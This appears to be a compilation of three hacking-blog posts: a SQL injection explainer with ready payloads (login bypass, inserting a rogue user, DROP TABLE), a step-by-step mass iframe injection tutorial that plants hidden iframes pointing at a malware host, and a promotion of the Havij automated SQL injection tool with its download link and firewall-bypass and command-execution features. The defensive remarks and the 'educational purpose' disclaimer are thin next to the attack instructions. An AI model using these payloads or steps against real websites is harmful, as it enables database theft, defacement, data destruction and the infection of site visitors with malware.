What is SQL Injection? Web Application Vulnerability

WebApplication(Website) stores the information in database such as user info, admin info, and passwords. When the developer fails to handle escape characters and type, it results in vulnerable database. Hacking or accessing the database using this vulnerability is known as SQL injection.

 
 
What an attacker can do?
  • Bypassing Logins
  • Accessing secret data
  • Modifying contents of website
  • Shutting down the database server
When Database is vulnerable?
When the developer fails to validate the Inputs, this vulnerability occurs. So the application runs the query without validating client’s input.

Validation of escape characters ( ' )
The database is vulnerable when the developer input is not filtered for escape characters. For instance, assume you are getting username and password from user using the form. In order to check the username and password, you have to get the information associated with user name by the following query.

statement=”select * from `users` where `usrnam`= ' “+username+” ' ;”;
In the above query, username is the variable which gets the user name from user as input.

The above query will retrieve the data if the username is available in database. The variable “username” gets the input from user and directly passed to the SQL statement without filtering the escape characters. Hackers can input the following code instead of username to breach the database:
' OR '1'='1
When the hackers input one of the above codes as user name, the SQL query becomes

Select * from users where username=' ' or '1'='1'

Here username=' ' is false. But '1'='1' is true. Here we used OR operator. So it is enough to one condition is true. So this will query bypass the login.
The above code can be enhanced with comment to block the rest of the statements of the query. The SQL support three different types of comments. They are /*, --, {{. So the enhanced malicious code with the comment is

' or '1'='1' -- '
' or '1'='1' ({ '
' or '1'='1' /* '
When the hackers input one of the above codes as user name, the SQL query becomes

Select * from users where username=' ' or '1'='1'--'

This query does the same. At the same time it will neglect the query behind the comment operator.
The user can do anything with database using this vulnerability. For example he can insert new user entry into the database. For Example, by giving the following input as the username:

hello'; insert into users value('us12', 'pas12'); select * from users where '1'='1';

So the above query will becomes
Select * from users where username=' hello'; insert into users value('us12', 'pas12'); select * from users where '1'='1';

This query will insert the us12 as user. At the same time it displays the list of users information.


Validation of Data Type
When the developer fails to check for the data type of input, it will arise the Vulnerability of Database.
Let us consider this query.

Statement=”Select * from `userid` where `id`=”+inputId+”;” ;

Here Id refers a number data. But the inputId is given directly without checking for the type. So attacker can enter any type of data, he can enter a string.
For example if he input as

1; drop table `userid`;
The query will become as
Select * from `userid` where `id`=1; drop table `userid`;

If you get the input from user and pass it directly, it causes to Vulnerability of Your Web application. Attackers can do anything with your database using this vulnerability. If he get the admin id and passwords, he is able to Deface your site. So you have to prevent from sql injection. How? Wait ..!!!wait i will post.

Here is practical Example for SQL Injection. This post is for Webmasters. They should know about the Vulnerability of your web Application to prevent hacking website.

What is an IFrame Injection? Mass IFrame Attack Tutorial

Recently 90000 webpages infected by Iframe Injection attack.  Here i am going to explain what  IFrame Injection is.

What is an IFrame Injection?
Using IFrame tag, The Attackers injects the malware contain website(links) using Cross site Scripting in popular websites.  So if the usual visitors of that popular sites opens the website, it will redirect to malware contain website.  Malware  will be loaded to your computer, now you are infected


What is IFrame Tag?
<Iframe> tag stands for Inline Frame.  It is used to insert contents from another website or server.  That can be useful for building online applications.

IFrame Injection Attack:
Malware Attackers use this IFrame and include the malware websites. They are able to include the webpage one pixel square(You won't able to see it in webpage). Obfuscate the JavaScript that will run automatically from that included page so that it looks something like %6C%20%66%72%61%6D%65%62%6F - leaving no obvious clue that it's malicious.

What an attacker can do with Iframe Injection?
Using Iframe Injection, an attacker can inject advertisements inside any other websites, insert malware infected site links, redirect to malware infected sites and more.

Iframe Injection Tutorial:
1.First of all attacker will find the Vulnerable websites using google dorks.
2. They test the vulnerability by inserting some iframe tag using the url.
3. then insert the Malicious Iframe code inside the webpage.
For Example:
he can insert this code using the url:
<iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

For php webpages:
echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Obfuscate javascript
<script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){… 

4. So if the clients load page, his system will be infected.


What you have to do ,if youinfected by Iframe Injection?

  1. Change your passwords of ftp, control panel and database.
  2. Inform to your hosting service about the injection attack and they will take care of server injection .
  3. Download all your files from the hosting and  check whether they are infected or not. if you found any infected files, clean it.
  4. Buy a good antivirus software, Scan your Computer completely.
  5. Don't use the Public systems for logging into your Hosting service.
Webmasters  should take care(affects page rank,visitors) 
Webmaster, If you find your website is infected by Iframe Injection, then try to clean it as soon as possible before google detects it.  If the google detects it, it will show the Pop up message to your users " This site may harm your computer". Definitely , users won't come back to your site .  Also google will set black mark for your website.  You will lost your page rank and visitors.


If you want to check the what google thinks about your websites, then use this link:
http://www.google.com/safebrowsing/diagnostic?site=http://siteurl
Note:
This is purely for Educational purpose only. Don't use it for illegal.if you do,  you will be in jail.

Havij Tool - Automatic SQL Injection Process

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.
It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.
The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.
The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.



Download It from Here:
http://www.itsecteam.com/en/projects/project1_page2.htm


What's New?
  • Sybase (ASE) database added.
  • Sybase (ASE) Blind database added.
  • Time based method for MsSQL added.
  • Time based method for MySQL added.
  • mod_security bypass added.
  • Pause button added.
  • Basic authentication added
  • Digest authentication added.
  • Post Data field added
  • bugs related with dot character in database name fixed
  • syntax over writing when defined by user in blind injections fixed.
  • mssql database detection from error when using JDBC driver corrected.
  • time out bug in md5 cracker fixed.
  • default value bug fixed
  • string encode bug fixed in PostgreSQL
  • injecting URL rewrite pages added.
  • injecting into any part of http request like Cookie, User-Agent, Referer, etc made available
  • a bug in finding string column fixed. (specially for MySQL)
  • Finding columns count in mysql when input value is non effective added.
  • window resize bug in custom DPI setting fixed.
  • some bugs in finding row count fixed.
  • getting database name in mssql error based when injection type is guessed integer but it's string fixed.



Features:

Items
Free version Commercial version
1. Supported Databases with injection methods:

          MsSQL 2000/2005 with error
          MsSQL 2000/2005 no error union based
          MsSQL Blind
          MySQL time based
          MySQL union based
          MySQL Blind
          MySQL error based
          MySQL time based
          Oracle union based
          Oracle error based
          PostgreSQL union based
          MsAccess union based
          MsAccess Blind
          Sybase (ASE)
          Sybase (ASE) Blind
2. HTTPS Support
3. Proxy support
4. Automatic database detection
5. Automatic type detection (string or integer)
6. Automatic keyword detection (finding difference between the positive and negative response)
7. Trying different injection syntaxes
8. Options for replacing space by /**/,+,... against IDS or filters
9. Avoid using strings (magic_quotes similar filters bypass)
10. Manual injection syntax support
11. Manual queries with result
12. Bypassing illegal union
13. Full customizable http headers (like referer,user agent and ...)
14. Load cookie from site for authentication
15. Http Basic and Digest authentication
16. Injecting URL rewrite pages
17. Bypassing mod_security web application firewall and similar firewalls
18. Real time result
19. Guessing tables and columns in mysql<5 (also in blind) and MsAccess
20. Fast getting tables and columns for mysql
21. Executing SQL query in Oracle database
22. Getting one row in one request (all in one request)
23. Dumping data into file
24. Saving data as XML format
25. View every injection request sent by program
26. Enabling xp_cmdshell and remote desktop
27. Multi thread Admin page finder
28. Multi thread Online MD5 cracker
29. Getting DBMS Informations
30. Getting tables, columns and data
31. Command executation (mssql only)
32. Reading system files (mysql only)
33. insert/update/delete data








This tool is for exploiting SQL Injection bugs in web application.
For using this tool you should know a little about SQL Injections.
Enter target url and select http method then click Analyze.
Note: Try to url be valid input that returns a normal page not a 404 or error page.

Source:

http://www.itsecteam.com/en/projects/project1.htm